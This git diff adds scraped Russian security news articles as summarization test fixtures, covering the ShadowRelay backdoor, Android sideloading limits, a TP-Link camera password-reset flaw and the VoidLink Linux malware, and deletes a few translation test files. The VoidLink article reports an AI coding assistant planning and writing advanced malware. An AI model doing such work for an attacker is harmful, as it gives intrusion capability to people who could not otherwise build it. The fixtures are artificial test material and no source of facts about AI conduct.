вредонос, находящийся в сегменте инфраструктуры, подключенном к интернету, образует сеть со своими копиями в закрытых сегментах. Логика управления при этом реализуется подгружаемыми плагинами. Устройство бэкдора позволяет контролировать хосты, которые не подключены напрямую к интернету, образуя сеть из серверов и клиентов. Исследователи резюмируют, что все это свидетельствует о высоком уровне подготовки атакующих, которые планировали как можно дольше присутствовать в скомпрометированной инфраструктуре. Подобное поведение характерно прежде всего для шпионских APT-группировок. Подчеркивается, что в случае атаки на организацию из госсектора бэкдор не успел украсть данные и нанести какой-либо другой вред. Однако предполагается, что злоумышленники будут использовать ShadowRelay и в других атаках на организации российского госсектора, прямо влияющие на экономику и безопасность страны. Чтобы защититься от атак ShadowRelay, эксперты Solar 4RAYS советуют использовать приложенное к отчету Snort-правило для обнаружения бэкдора, а также применять современные средства защиты. Теги:MalwareShadowRelayБэкдорВзломКибератакиНовостиРоссия Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_21_sideloading-restrictions_.txt b/tests/summarization/https___xakep.ru_2026_01_21_sideloading-restrictions_.txt new file mode 100644 index 0000000..6ec5855 --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_21_sideloading-restrictions_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% Разработчики Google решили усложнить процесс установки приложений из сторонних источников в Android. Представители компании подтвердили, что внедрят так называемый Accountability Layer — «уровень ответственности» для sideloading’а приложений, и в результате установка потребует дополнительных шагов. Как сообщает издание Android Authority, суть этих изменений заключается в том, что процесс установки приложений станет более сложным, хотя продвинутые пользователи смогут выбрать опцию «Установить без проверки» (Install without verifying). В Google объясняют эти изменения заботой о безопасности и заявляют, что система должна точно убедиться, что пользователи понимают сопряженные с sideloading’ом риски. Новые сообщения с предупреждениями были замечены в коде последних версий Google Play. Анализ кода приложения (версия 49.7.20-29) показал строки вроде «Приложение не может быть проверено в данный момент» и «Нет интернета, не удается проверить разработчика». То есть установка приложений из сторонних источников явно потребует подключения к сети для верификации, а если его нет — пользователь увидит предупреждение. При этом эксперты F-Droid сообщили изданию, что некоторые из этих строк существовали в коде системного установщика пакетов Android с июля 2025 года. То есть теперь они мигрировали непосредственно в Google Play, что может сигнализировать о скором развертывании системы для пользователей. Напомним, что летом 2025 года Google анонсировала новую систему верификации для разработчиков приложений с обязательной регистрацией. В частности, планировалось, что даже приложения, устанавливаемые на Android-устройства из сторонних источников (то есть распространяемые за пределами официального магазина Google Play), должны исходить только от разработчиков с подтвержденной личностью. При этом в компании сообщали, что приложения неверифицированных разработчиков просто не будут устанавливаться на сертифицированные Android-устройства, то есть девайсы, на которых работает Play Protect и предустановлены приложения Google. После волны критики компания частично отступила и пообещала создать отдельный режим для «опытных пользователей», которые смогут устанавливать неверифицированные приложения из сторонних источников. Судя по всему, исследователи обнаружили признаки разработки именно этой системы. Сначала нововведение протестируют на пользователях из Бразилии, Индонезии, Сингапура и Таиланда, и это произойдет не раньше сентября 2026 года. Разработчики альтернативных магазинов приложений, включая F-Droid, уже высказывали опасения по поводу будущего загрузки приложений из сторонних источников в Android. По их мнению, принятие новых правил может угрожать существованию любых альтернативных магазинов приложений, включая сам F-Droid. И пока в Google не раскрывают все детали новой системы, эти опасения остаются актуальными. Фото Android Authority. Теги:AndroidGoogleSideloadingИнформационная безопасностьНовостиПриложения Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_21_vigi-patch_.txt b/tests/summarization/https___xakep.ru_2026_01_21_vigi-patch_.txt new file mode 100644 index 0000000..0791fea --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_21_vigi-patch_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% Компания TP-Link устранила серьезную уязвимость, которая позволяла перехватить контроль над множеством моделей профессиональных камер видеонаблюдения серий VIGI C и VIGI InSight. Проблема, получившая идентификатор CVE-2026-0629 и набравшая 8,7 балла по шкале CVSS, связана с функцией восстановления пароля в локальном веб-интерфейсе камер. По словам производителя, уязвимость допускает обход аутентификации, что в итоге дает злоумышленнику полный административный доступ к устройству: «Атакующий в локальной сети может сбросить пароль администратора без какой-либо проверки, манипулируя состоянием на стороне клиента». Баг обнаружил сооснователь и технический директор IoT-компании Redinent Innovations Арко Дхар (Arko Dhar). Как поясняет исследователь, эксплуатация этой уязвимости открывает полный доступ к скомпрометированной камере, включая доступ к видеопотоку и другим возможностям. При этом эксперт предупредил, что проблему можно использовать удаленно. Еще в октябре 2025 года, когда исследователь нашел уязвимость, он обнаружил более 2500 камер, доступных из интернета, которые были потенциально уязвимы перед такими атаками. При этом эксперт искал лишь одну модель, а реальное количество доступных в интернете камер может быть намного выше. Камеры VIGI широко используются организациями более чем в 36 странах мира, преимущественно в Европе, Юго-Восточной Азии и Северной и Южной Америке. Следует отметить, что атаки на оборудование TP-Link — не редкость. В каталоге известных эксплуатируемых уязвимостей CISA сейчас числится пять проблем в продуктах TP-Link, которые использовались в реальных атаках за последние годы. Правда, в основном они затрагивали роутеры и репитеры. Теги:CCTVTP-LINKVIGIКамера видеонаблюденияНовостиПатчиУязвимости Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_21_voidlink-ai_.txt b/tests/summarization/https___xakep.ru_2026_01_21_voidlink-ai_.txt new file mode 100644 index 0000000..48cf17a --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_21_voidlink-ai_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% Специалисты компании Check Point сообщили, что обнаруженная ими недавно Linux-малварь VoidLink, судя по всему, была разработана одним человеком, который использовал ИИ и создал вредоноса примерно за неделю. VoidLink представляет собой продвинутый фреймворк для заражения Linux-систем с модульной архитектурой. Малварь включает более 30 модулей, которые можно комбинировать под конкретные задачи: от скрытности и разведки до повышения привилегий и бокового перемещения по сети. Вредонос написан на Zig, Go и C, способен определять, работает ли зараженная машина внутри популярных облачных сервисов (AWS, GCP, Azure, Alibaba, Tencent). Малварь маскирует трафик под обычную веб-активность и использует руткит-функциональность для большей скрытности. В первом отчете эксперты отмечали, что функциональность VoidLink значительно превосходит типичные Linux-угрозы — это полноценная экосистема для долгосрочного скрытного доступа к скомпрометированным системам, особенно в облаке и контейнеризованных средах. Тогда предполагалось, что малварь создана китайскими разработчиками, «обладающими глубокими знаниями в нескольких языках программирования». Однако на этой неделе аналитики Check Point опубликовали новый отчет, в котором пишут, что разработка вредоноса началась в конце ноября 2025 года, когда его создатель обратился за помощью к TRAE SOLO — ИИ-помощнику, встроенному в TRAE компании ByteDance (среду разработки, заточенную под работу с искусственным интеллектом). Дело в том, что создатель вредоноса допустил множество OPSEC-ошибок, в результате которых были раскрыты исходный код, документация, планы спринтов и внутренняя структура проекта. Хотя исследователи не получили доступ к полной истории переписки в IDE, они нашли на сервере злоумышленника вспомогательные файлы от TRAE, которые содержали ключевые фрагменты оригинальных инструкций. «Эти файлы, сгенерированные TRAE, по всей видимости, были скопированы вместе с исходным кодом на сервер атакующего, а позже стали доступны из-за открытой директории. Эта утечка дала нам необычно прямой доступ к самым ранним директивам проекта», — говорят эксперты. Проведенный анализ показал, что создатель VoidLink использовал SDD (Spec-Driven Development), чтобы определить цели проекта и задать ограничения, а затем поручил ИИ сгенерировать план разработки для нескольких команд. План включал архитектуру, спринты и стандарты. Затем эта документация послужила основой для генерации кода с помощью ИИ. Сгенерированная документация описывала проект для трех команд разработки, который должен был занять от 16 до 30 недель. Однако, судя по временным меткам и тестовым артефактам, которые нашли эксперты, VoidLink был готов уже через неделю, а к началу декабря 2025 года объем кода достиг 88 000 строк. Подчеркивается, что исследователи убедились, что спринт-спецификации и восстановленный исходный код малвари совпадают почти на 100%. Исследователи успешно воспроизвели весь рабочий процесс и подтвердили, что ИИ-агент способен генерировать код, структурно практически идентичный VoidLink. В Check Point заявляют, что у них практически не осталось сомнений в происхождении кода вредоноса и называют VoidLink первым задокументированным примером продвинутой малвари, которая полностью создана с помощью ИИ. Эксперты считают, что VoidLink знаменует собой новую эру: теперь всего один разработчик малвари с хорошими техническими знаниями может достичь результатов, которые раньше были доступны только командам с немалыми ресурсами. Теги:AILinuxLLMMalwareTRAETRAE SOLOVoidLinkИИИскусственный интеллектНовости Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/translation/test2.txt b/tests/translation/test2.txt deleted file mode 100644 index f6f39de..0000000 --- a/tests/translation/test2.txt +++ /dev/null @@ -1,3 +0,0 @@ -The weather is beautiful today. The sun is shining brightly in the clear blue sky. -============== -Сегодня прекрасная погода. Солнце ярко светит на чистом голубом небе. diff --git a/tests/translation/test3.txt b/tests/translation/test3.txt deleted file mode 100644 index 4615dc2..0000000 --- a/tests/translation/test3.txt +++ /dev/null @@ -1,3 +0,0 @@ -I would like to order a pizza with mushrooms and olives. Could you please bring it to my table? -============== -Я бы хотел заказать пиццу с грибами и оливами. Не могли бы вы принести ее к моему столу? diff --git a/tests/translation/test4.txt b/tests/translation/test4.txt deleted file mode 100644 index b21dcb2..0000000 --- a/tests/translation/test4.txt +++ /dev/null @@ -1,3 +0,0 @@ -This project requires attention to detail and good communication skills. Teamwork is essential for success. -============== -Этот проект требует внимания к деталям и хороших навыков общения. Командная работа необходима для успеха. diff --git a/tests/translation/test5.txt b/tests/translation/test5.txt deleted file mode 100644 index baaad0e..0000000 --- a/tests/translation/test5.txt +++ /dev/null @@ -1,3 +0,0 @@ -Thank you for your help. I really appreciate it. -============== -Спасибо за вашу помощь. Я действительно ценю это.